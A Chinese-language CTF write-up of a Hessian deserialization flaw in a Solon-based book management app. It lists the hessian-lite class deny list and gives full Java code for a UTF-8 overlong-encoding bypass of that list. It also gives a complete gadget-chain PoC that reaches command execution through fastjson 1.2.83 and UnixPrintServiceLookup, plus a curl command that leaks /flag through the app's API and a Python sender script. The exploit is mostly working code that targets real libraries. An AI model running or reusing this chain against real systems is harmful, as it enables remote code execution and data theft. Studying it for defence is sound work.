Solon Framework Hessian反序列化漏洞分析与利用
漏洞背景
该漏洞存在于基于纯血国产Java Framework Solon的图书信息管理系统中,当Content-Type设置为application/hessian时,发送到含参RESTful API的请求体部分会被Hessian进行反序列化处理。
漏洞触发点
漏洞触发位于org.noear.solon.serialization.hessian/HessianActionExecutor.java文件中,当请求的Content-Type为application/hessian时,请求体会被Hessian反序列化。
反序列化流量WAF绕过
在触发函数调用readObject()进行反序列化前,会经过tested()函数的检测,这是一个基于KMP匹配算法的流量检测WAF,用于阻止危险类的反序列化。
WAF测试用例
WAF的黑名单与hessian-lite 3.2.13中的DENY_CLASS相同,包含以下危险类:
bsh. ch.qos.logback.core.db. clojure. com.alibaba.citrus.springext.support.parser. com.alibaba.citrus.springext.util.SpringExtUtil. com.alibaba.druid.pool. com.alibaba.hotcode.internal. org.apache.commons.collections.functors. com.alipay.custrelation.service.model.redress. com.alipay.oceanbase.obproxy. druid.pool. com.caucho.config.types. com.caucho.hessian.test. com.caucho.naming. com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller. com.ibm.xltxe.rnm1.xtq. bcel.util. com.mchange.v2.c3p0. com.mysql.jdbc.util. com.rometools.rome.feed. com.sun.corba.se.impl. com.sun.corba.se.spi.orbutil. com.sun.jndi.rmi. com.sun.jndi.toolkit. com.sun.org.apache.bcel.internal. com.sun.org.apache.xalan.internal. com.sun.rowset. com.sun.xml.internal.bind.v2. com.taobao.vipserver. commons.collections.functors. groovy.lang. java.awt. java.beans. java.lang.ProcessBuilder java.lang.Runtime java.rmi.server. java.security. java.util.ServiceLoader java.util.StringTokenizer javassist.bytecode.annotation. javassist.tools.web.Viewer javassist.util.proxy. javax.imageio. javax.imageio.spi. javax.management. javax.media.jai.remote. javax.naming. javax.script. javax.sound.sampled. javax.swing. javax.xml.transform. net.bytebuddy.dynamic.loading. oracle.jdbc.connector. oracle.jdbc.pool. org.apache.aries.transaction.jms. org.apache.bcel.util. org.apache.carbondata.core.scan.expression. org.apache.commons.beanutils. org.apache.commons.codec.binary. org.apache.commons.collections.functors. org.apache.commons.collections4.functors. org.apache.commons.codec. org.apache.commons.configuration. org.apache.commons.configuration2. org.apache.commons.dbcp.datasources. org.apache.commons.dbcp2.datasources. org.apache.commons.fileupload.disk. org.apache.ibatis.executor.loader. org.apache.ibatis.javassist.bytecode. org.apache.ibatis.javassist.tools. org.apache.ibatis.javassist.util. org.apache.ignite.cache. org.apache.log.output.db. org.apache.log4j.receivers.db. org.apache.myfaces.view.facelets.el. org.apache.openjpa.ee. org.apache.openjpa.ee. org.apache.shiro. org.apache.tomcat.dbcp. org.apache.velocity.runtime. org.apache.velocity. org.apache.wicket.util. org.apache.xalan.xsltc.trax. org.apache.xbean.naming.context. org.apache.xpath. org.apache.zookeeper. org.aspectj. org.codehaus.groovy.runtime. org.datanucleus.store.rdbms.datasource.dbcp.datasources. org.dom4j. org.eclipse.jetty.util.log. org.geotools.filter. org.h2.value. org.hibernate.tuple.component. org.hibernate.type. org.jboss.ejb3. org.jboss.proxy.ejb. org.jboss.resteasy.plugins.server.resourcefactory. org.jboss.weld.interceptor.builder. org.junit. org.mockito.internal.creation.cglib. org.mortbay.log. org.mockito. org.thymeleaf. org.quartz. org.springframework.aop.aspectj. org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler org.springframework.beans.factory. org.springframework.expression.spel. org.springframework.jndi. org.springframework.orm. org.springframework.transaction. org.yaml.snakeyaml.tokens. ognl. pstore.shaded.org.apache.commons.collections. sun.print. sun.rmi.server. sun.rmi.transport. weblogic.ejb20.internal. weblogic.jms.common.
绕过方法:Hessian UTF-8 Overlong Encoding
由于题目运行环境为JDK17,不存在直接绕过的方法,因此需要使用Hessian UTF-8 Overlong Encoding技术进行绕过。
以下是绕过部分POC代码:
package com.example;
import com.caucho.hessian.io.Hessian2Output;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Field;
public class Hessian2OutputWithOverlongEncoding extends Hessian2Output {
public Hessian2OutputWithOverlongEncoding(OutputStream os) {
super(os);
}
@Override
public void printString(String v, int strOffset, int length) throws IOException {
int offset = (int) getSuperFieldValue("_offset");
byte[] buffer = (byte[]) getSuperFieldValue("_buffer");
for (int i = 0; i < length; i++) {
if (SIZE <= offset + 16) {
setSuperFieldValue("_offset", offset);
flushBuffer();
offset = (int) getSuperFieldValue("_offset");
}
char ch = v.charAt(i + strOffset);
// 2 bytes UTF-8
buffer[offset++] = (byte) (0xc0 + (convert(ch)[0] & 0x1f));
buffer[offset++] = (byte) (0x80 + (convert(ch)[1] & 0x3f));
}
setSuperFieldValue("_offset", offset);
}
@Override
public void printString(char[] v, int strOffset, int length) throws IOException {
int offset = (int) getSuperFieldValue("_offset");
byte[] buffer = (byte[]) getSuperFieldValue("_buffer");
for (int i = 0; i < length; i++) {
if (SIZE <= offset + 16) {
setSuperFieldValue("_offset", offset);
flushBuffer();
offset = (int) getSuperFieldValue("_offset");
}
char ch = v[i + strOffset];
// 2 bytes UTF-8
buffer[offset++] = (byte) (0xc0 + (convert(ch)[0] & 0x1f));
buffer[offset++] = (byte) (0x80 + (convert(ch)[1] & 0x3f));
}
setSuperFieldValue("_offset", offset);
}
public int[] convert(int i) {
int b1 = ((i >> 6) & 0b11111) | 0b11000000;
int b2 = (i & 0b111111) | 0b10000000;
return new int[]{b1, b2};
}
public Object getSuperFieldValue(String name) {
try {
Field f = this.getClass().getSuperclass().getDeclaredField(name);
f.setAccessible(true);
return f.get(this);
} catch (Exception e) {
return null;
}
}
public void setSuperFieldValue(String name, Object val) {
try {
Field f = this.getClass().getSuperclass().getDeclaredField(name);
f.setAccessible(true);
f.set(this, val);
} catch (Exception e) {
e.printStackTrace();
}
}
}
反序列化Gadget构造
题目在原来的Hessian反序列化流程中做了Patch,使用了自带黑名单。通过比对两个黑名单,发现存在差异,需要从差异的几个类中入手构造反序列化Gadget。
由于题目引入了fastjson 1.2.83依赖,因此可以利用FastJson链构造Gadget。
原始FastJson链
ObjectInputStream.readObject -> HashMap.readObject -> BadAttributeValueExpException.readObject -> JSONArray.toString -> JSON.toString (JSONArray extends JSON) -> JSON.toJSONString -> TemplatesImpl.getOutputProperties -> TemplatesImpl.newTransformer
绕过黑名单的Gadget链
由于黑名单限制了javax.management.BadAttributeValueExpException和com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,需要进行替换:
- 使用
XString.equals替换BadAttributeValueExpException - 使用
UnixPrintServiceLookup作为最终的sink
最终调用链:
getDefaultPrintService:640, UnixPrintServiceLookup (sun.print)
write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
write:271, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)
toString:1071, JSON (com.alibaba.fastjson)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:636, HashMap (java.util)
put:613, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
main:166, Main (org.example)
完整POC代码
try {
//需要执行的命令
String cmd = "x";
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
//绕过getDefaultPrinterNameBSD中的限制
//设置属性
setValue(unixPrintServiceLookup, "cmdIndex", 0);
setValue(unixPrintServiceLookup, "osname", "xx");
setValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
//封装一个JSONObject对象调用getter方法
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);
//使用XString类调用toString方法
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", jsonObject);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", jsonObject);
//使用反射赋值,防止序列化过程调用equals方法
HashMap s = new HashMap();
setValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setValue(s, "table", tbl);
FileOutputStream fileOutputStream = new FileOutputStream("ser");
Hessian2OutputWithOverlongEncoding hessianOutput = new Hessian2OutputWithOverlongEncoding(fileOutputStream);
hessianOutput.setSerializerFactory(new SerializerFactory());
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(s);
hessianOutput.flushBuffer();
// test
Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("ser"));
hessian2Input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
数据回显方法
由于题目环境不出网,需要通过API回显flag数据。Solon框架与SpringBoot类似,不能像Tomcat一样使用文件构造Path来进行回显,且黑名单严格限制了反序列化的类,难以通过二次反序列化或内存马实现回显。
可以利用题目提供的API:
/addBook- 动态添加图书内容/getAllBooks- 获取所有图书信息
通过RCE调用/addBookAPI将flag内容作为图书标题添加,然后通过/getAllBooks获取flag。
添加flag的curl命令
curl -X POST http://localhost:8080/api/rest/book/addBook \
-H "Content-Type: application/json" \
-d '{"bookId": 1, "title": "'$(cat /flag)'", "author": "yuanshan", "publishDate": "2024-12-22", "price": 0.00}'
获取flag的Python脚本
import re
import requests
with open("ser", "rb") as f:
body = f.read()
print(len(body))
url = "http://localhost:8080/api/rest/book/getBook"
headers = {"Content-Type": "application/hessian"}
response = requests.get(url, headers=headers, data=body)
print(response.text)
url = "http://localhost:8080/api/rest/book/getAllBooks"
response = requests.get(url)
match = re.search(r'flag\{.*?\}', response.text)
print(match.group(0) if match else "Flag not found")
总结
- 漏洞触发条件:Content-Type为
application/hessian的请求 - 绕过WAF:使用Hessian UTF-8 Overlong Encoding技术
- Gadget构造:利用FastJson链,替换被黑名单限制的类
- 数据回显:通过题目提供的API间接获取flag
该漏洞利用涉及多个技术点,包括Hessian反序列化、WAF绕过、Gadget构造和不出网环境下的数据回显,是一个综合性较强的安全研究案例。